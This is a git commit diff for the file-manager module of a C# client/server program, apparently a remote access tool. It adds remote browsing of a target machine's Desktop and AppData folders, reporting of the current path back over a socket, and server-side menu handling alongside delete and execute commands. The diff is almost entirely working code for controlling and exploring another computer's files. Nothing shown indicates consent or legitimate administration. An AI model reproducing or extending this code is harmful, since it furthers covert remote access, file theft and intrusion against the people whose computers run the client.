Fix + Update filemanager

This commit is contained in:
NYAN CAT 2019-06-17 13:19:49 +03:00
parent ec1f2643ef
commit 1e94cca05d
5 changed files with 539 additions and 757 deletions

View File

@ -44,12 +44,16 @@ namespace Client.Handle_Packet
{ {
try try
{ {
Debug.WriteLine($"Getting [{path}]");
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
StringBuilder sbFolder = new StringBuilder(); StringBuilder sbFolder = new StringBuilder();
StringBuilder sbFile = new StringBuilder(); StringBuilder sbFile = new StringBuilder();
if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData");
foreach (string folder in Directory.GetDirectories(path)) foreach (string folder in Directory.GetDirectories(path))
{ {
sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>"); sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>");
@ -64,9 +68,14 @@ namespace Client.Handle_Packet
} }
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
msgpack.ForcePathObject("File").AsString = sbFile.ToString(); msgpack.ForcePathObject("File").AsString = sbFile.ToString();
msgpack.ForcePathObject("CurrentPath").AsString = path.ToString();
ClientSocket.Send(msgpack.Encode2Bytes()); ClientSocket.Send(msgpack.Encode2Bytes());
} }
catch { } catch (Exception ex)
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
}
} }
private Bitmap GetIcon(string file) private Bitmap GetIcon(string file)

View File

@ -35,6 +35,9 @@
this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.backToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.backToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.gOTOToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.aPPDATAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.rEFRESHToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.rEFRESHToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
@ -79,6 +82,7 @@
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.backToolStripMenuItem, this.backToolStripMenuItem,
this.gOTOToolStripMenuItem,
this.toolStripSeparator1, this.toolStripSeparator1,
this.rEFRESHToolStripMenuItem, this.rEFRESHToolStripMenuItem,
this.toolStripSeparator2, this.toolStripSeparator2,
@ -88,7 +92,7 @@
this.dELETEToolStripMenuItem, this.dELETEToolStripMenuItem,
this.eXECUTEToolStripMenuItem}); this.eXECUTEToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1"; this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(189, 214); this.contextMenuStrip1.Size = new System.Drawing.Size(189, 246);
// //
// backToolStripMenuItem // backToolStripMenuItem
// //
@ -97,6 +101,29 @@
this.backToolStripMenuItem.Text = "BACK"; this.backToolStripMenuItem.Text = "BACK";
this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click); this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click);
// //
// gOTOToolStripMenuItem
//
this.gOTOToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.dESKTOPToolStripMenuItem,
this.aPPDATAToolStripMenuItem});
this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem";
this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
this.gOTOToolStripMenuItem.Text = "GO TO";
//
// dESKTOPToolStripMenuItem
//
this.dESKTOPToolStripMenuItem.Name = "dESKTOPToolStripMenuItem";
this.dESKTOPToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.dESKTOPToolStripMenuItem.Text = "DESKTOP";
this.dESKTOPToolStripMenuItem.Click += new System.EventHandler(this.DESKTOPToolStripMenuItem_Click);
//
// aPPDATAToolStripMenuItem
//
this.aPPDATAToolStripMenuItem.Name = "aPPDATAToolStripMenuItem";
this.aPPDATAToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.aPPDATAToolStripMenuItem.Text = "APPDATA";
this.aPPDATAToolStripMenuItem.Click += new System.EventHandler(this.APPDATAToolStripMenuItem_Click);
//
// toolStripSeparator1 // toolStripSeparator1
// //
this.toolStripSeparator1.Name = "toolStripSeparator1"; this.toolStripSeparator1.Name = "toolStripSeparator1";
@ -223,5 +250,8 @@
private System.Windows.Forms.Timer timer1; private System.Windows.Forms.Timer timer1;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator2; private System.Windows.Forms.ToolStripSeparator toolStripSeparator2;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
private System.Windows.Forms.ToolStripMenuItem gOTOToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem dESKTOPToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem aPPDATAToolStripMenuItem;
} }
} }

View File

@ -28,7 +28,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText; msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText; //toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText;
} }
} }
catch catch
@ -43,10 +43,11 @@ namespace Server.Forms
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
string path = toolStripStatusLabel1.Text; string path = toolStripStatusLabel1.Text;
if (path.Length == 2) if (path.Length <= 3)
{ {
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getDrivers"; msgpack.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = "";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
return; return;
} }
@ -54,7 +55,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = path + "\\"; msgpack.ForcePathObject("Path").AsString = path + "\\";
toolStripStatusLabel1.Text = path; //toolStripStatusLabel1.Text = path;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
} }
catch catch
@ -62,6 +63,7 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getDrivers"; msgpack.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = "";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
return; return;
} }
@ -168,6 +170,8 @@ namespace Server.Forms
private void rEFRESHToolStripMenuItem_Click(object sender, EventArgs e) private void rEFRESHToolStripMenuItem_Click(object sender, EventArgs e)
{ {
try try
{
if (toolStripStatusLabel1.Text != "")
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
@ -175,11 +179,17 @@ namespace Server.Forms
msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text; msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
} }
catch else
{ {
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getDrivers";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
return;
} }
} }
catch { }
}
private void eXECUTEToolStripMenuItem_Click(object sender, EventArgs e) private void eXECUTEToolStripMenuItem_Click(object sender, EventArgs e)
{ {
@ -208,5 +218,39 @@ namespace Server.Forms
{ {
if (!C.ClientSocket.Connected) this.Close(); if (!C.ClientSocket.Connected) this.Close();
} }
private void DESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = "DESKTOP";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
//toolStripStatusLabel1.Text = "DESKTOP";
}
catch
{
}
}
private void APPDATAToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = "APPDATA";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
//toolStripStatusLabel1.Text = "APPDATA";
}
catch
{
}
}
} }
} }

File diff suppressed because it is too large Load Diff

View File

@ -29,6 +29,7 @@ namespace Server.Handle_Packet
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (FM != null) if (FM != null)
{ {
FM.toolStripStatusLabel1.Text = "";
FM.listView1.Items.Clear(); FM.listView1.Items.Clear();
string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
for (int i = 0; i < driver.Length; i++) for (int i = 0; i < driver.Length; i++)
@ -60,6 +61,15 @@ namespace Server.Handle_Packet
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (FM != null) if (FM != null)
{ {
FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString;
if (FM.toolStripStatusLabel1.Text.EndsWith("\\"))
{
FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1);
}
if (FM.toolStripStatusLabel1.Text.Length == 2)
{
FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\";
}
FM.listView1.Items.Clear(); FM.listView1.Items.Clear();
FM.listView1.Groups.Clear(); FM.listView1.Groups.Clear();
string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);